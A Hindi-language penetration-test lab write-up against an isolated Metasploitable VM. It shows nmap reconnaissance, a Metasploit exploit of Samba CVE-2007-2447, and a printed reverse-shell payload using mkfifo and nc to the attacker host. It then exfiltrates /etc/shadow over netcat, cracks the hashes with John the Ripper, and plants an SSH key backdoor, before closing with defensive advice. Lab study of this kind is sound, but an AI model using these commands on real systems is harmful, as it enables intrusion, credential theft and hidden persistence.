
Metasploitable पर पूर्ण पेंटेस्ट: nmap के साथ रिकॉन, Metasploit के साथ शोषण (CVE-2007-2447), क्रेडेंशियल्स की निकासी और क्रैकिंग, SSH स्थायित्व
एक नियंत्रित और पृथक वातावरण पर वास्तविक हमले का पूरा चक्र: प्रयोगशाला की तैयारी, nmap के साथ पहचान, हमले की सतह को प्राथमिकता देना, CVE मैपिंग, मेटास्प्लॉइट के साथ शोषण, पोस्ट-एक्सप्लॉइटेशन, क्रेडेंशियल्स की निकासी और क्रैकिंग, और SSH कुंजी इंजेक्शन के माध्यम से दृढ़ता।

msfconsole, nmap, John the Ripper.192.168.64.0/24). पीड़ित IP: 192.168.64.3।
संस्करण स्कैनिंग यह पहचानने के लिए कि वास्तव में क्या उजागर है — कमजोरियाँ विशिष्ट संस्करणों को प्रभावित करती हैं, अमूर्त सेवाओं को नहीं:
nmap -sV 192.168.64.3
12 पोर्ट खुले, सभी पुराने और शोषणीय संस्करणों के साथ।
पहले खुले पोर्ट पर हमला करने के बजाय, लक्ष्य चुनने से पहले मैंने सेवाओं को जोखिम के प्रकार के अनुसार वर्गीकृत किया:
चयनित लक्ष्य: Samba 3.0.20-Debian — यह एक दस्तावेजित महत्वपूर्ण कमजोरी वाले संस्करण, Metasploit में उपलब्ध एक्सप्लॉइट, और बिना किसी पूर्व प्रमाणीकरण के कोड निष्पादन को जोड़ता है: सबसे अधिक प्रभाव और सबसे अधिक विश्वसनीयता।
Nmap स्क्रिप्टिंग इंजन (NSE) के साथ सटीक संस्करण की पुष्टि:
nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
Samba 3.0.20 CVE-2007-2447 के लिए कमजोर है: username map script पैरामीटर इनपुट को मान्य नहीं करता है, और एक हमलावर उपयोगकर्ता नाम फ़ील्ड में सीधे शेल कमांड इंजेक्ट कर सकता है। चूँकि मैपिंग लॉगिन से पहले होती है, इसलिए वैध उपयोगकर्ता या पासवर्ड की आवश्यकता नहीं है।

msfconsole

संबंधित मॉड्यूल की खोज:
msf > search type:exploit samba

कॉन्फ़िगरेशन और निष्पादन:
msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened
विशेषाधिकारों की तत्काल पुष्टि — कमजोरी सीधे रूट एक्सेस देती है, बिना किसी बाद में एस्केलेशन की आवश्यकता के:
whoami → root
uname -a → Linux metasploitable 2.6.24-16-server (kernel de 2008)

पीड़ित पर प्रक्रियाओं का निरीक्षण करने पर इंजेक्टेड पेलोड को चलते हुए देखा जा सकता है:
ps aux | grep samba
root 4931 sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"
भेजे गए उपयोगकर्ता नाम में स्वयं कमांड शामिल था (/=`...`): Samba ने इसे बिना सैनिटाइज़ किए एक शेल को पास कर दिया, जिसने mkfifo के साथ एक पाइप बनाया, netcat के साथ काली से वापस कनेक्शन खोला, और /bin/sh को उस पाइप से जोड़ा — पूर्ण रिमोट कोड निष्पादन, लाइन दर लाइन।
netstat -tulnp के साथ आंतरिक सेवाओं की गणना: MySQL 0.0.0.0:3306 पर सुनता हुआ दिखाई दिया — यह केवल लोकलहोस्ट ही नहीं, बल्कि नेटवर्क की किसी भी मशीन के लिए उजागर है।
पीड़ित पर ही क्रैक करने की कोशिश करने के बजाय (CPU की खपत करता है, शोर पैदा करता है, निशान छोड़ता है), मैंने हैश निकाले और उन्हें ऑफ़लाइन हमला करने के लिए काली में स्थानांतरित किया:
cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

netcat के माध्यम से स्थानांतरण और John the Ripper के लिए तैयारी:
# En Kali:
nc -lvnp 4444 > shadow.txt
# En la víctima:
cat /etc/shadow | nc 192.168.64.4 4444
unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt
John तीन स्वचालित चरण चलाता है (उपयोगकर्ता की अपनी जानकारी के साथ सिंगल मोड, शब्दकोश, और वृद्धिशील ब्रूट फोर्स)। परिणाम: 7 में से 6 पासवर्ड क्रैक हो गए, जिनमें SSH, MySQL और FTP के लिए पुन: उपयोग योग्य क्रेडेंशियल्स शामिल हैं।

क्रैक किए गए क्रेडेंशियल्स के साथ, वैध उपयोगकर्ता के रूप में सीधा SSH एक्सेस:
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

ऐसे पासवर्ड पर निर्भर न रहने के लिए जो घूम सकता है, मैंने अपनी स्वयं की कुंजी जोड़ी उत्पन्न की और इसे पीड़ित के authorized_keys में जोड़ा — एक बैकडोर जो पासवर्ड बदलने पर भी बचा रहता है और ब्रूट फोर्स अलर्ट उत्पन्न नहीं करता:
ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys # ejecutado en la víctima, ya comprometida
बाद में, बिना पासवर्ड के एक्सेस:
ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

0.0.0.0 पर उजागर, टेलनेट जैसे विरासत प्रोटोकॉल सक्रिय)।टेलनेट जैसे असुरक्षित प्रोटोकॉल को हटाएँ, महत्वपूर्ण सेवाओं और स्वयं कर्नेल को अपडेट करें, डेटाबेस के सीधे एक्सपोज़र को प्रतिबंधित करें, नेटवर्क विभाजन लागू करें, और सबसे बढ़कर — यह देखते हुए कि पासवर्ड क्रैक करना कितना आसान था — मजबूत और सेवाओं के बीच पुन: उपयोग न किए जाने वाले क्रेडेंशियल नीतियों को लागू करें। उसी प्रकार की पहचान जो उत्पादन में इस हमले को रोक देगी (असामान्य आउटगोइंग कनेक्शनों की निगरानी, nc/रिवर्स शेल पर अलर्ट) मैं अपने Home SOC Lab में रक्षात्मक पक्ष पर काम करता हूँ।
हमला करने से पहले प्राथमिकता देना — यह समझना कि कौन सी सेवा सबसे अधिक विश्वसनीयता के साथ सबसे अधिक प्रभाव देती है, बजाय बेतरतीब पोर्ट परीक्षण करने के — वह था जो सीधे Samba की ओर ले गया। पोस्ट-एक्सप्लॉइटेशन चरण, ps aux में इंजेक्टेड कमांड को चलते देखना, यह सबसे अच्छी तरह से दर्शाता है कि क्यों एक इनपुट मान्यता कमजोरी पूरे सिस्टम पर नियंत्रण में बदल जाती है। और SSH कुंजी द्वारा दृढ़ता यह स्पष्ट करती है कि, एक बार अंदर आने के बाद, एक हमलावर का उद्देश्य केवल "पहुँच प्राप्त करना" नहीं है बल्कि इसे चुपचाप और स्थायी रूप से प्राप्त करना है — यह और अधिक कारण है कि गहराई में रक्षा एक ही अवरोध पर निर्भर नहीं होनी चाहिए।
| पोर्ट | सेवा | संस्करण |
|---|
| 21/tcp | ftp | ProFTPD 1.3.1 |
| 22/tcp | ssh | OpenSSH 4.7p1 Debian 8ubuntu1 |
| 23/tcp | telnet | Linux telnetd |
| 80/tcp | http | Apache httpd 2.2.8 |
| 139,445/tcp | netbios-ssn | Samba smbd 3.X — मुख्य लक्ष्य |
| 3306/tcp | mysql | MySQL 5.0.51a |
| 8180/tcp | http | Apache Tomcat/Coyote JSP 1.1 |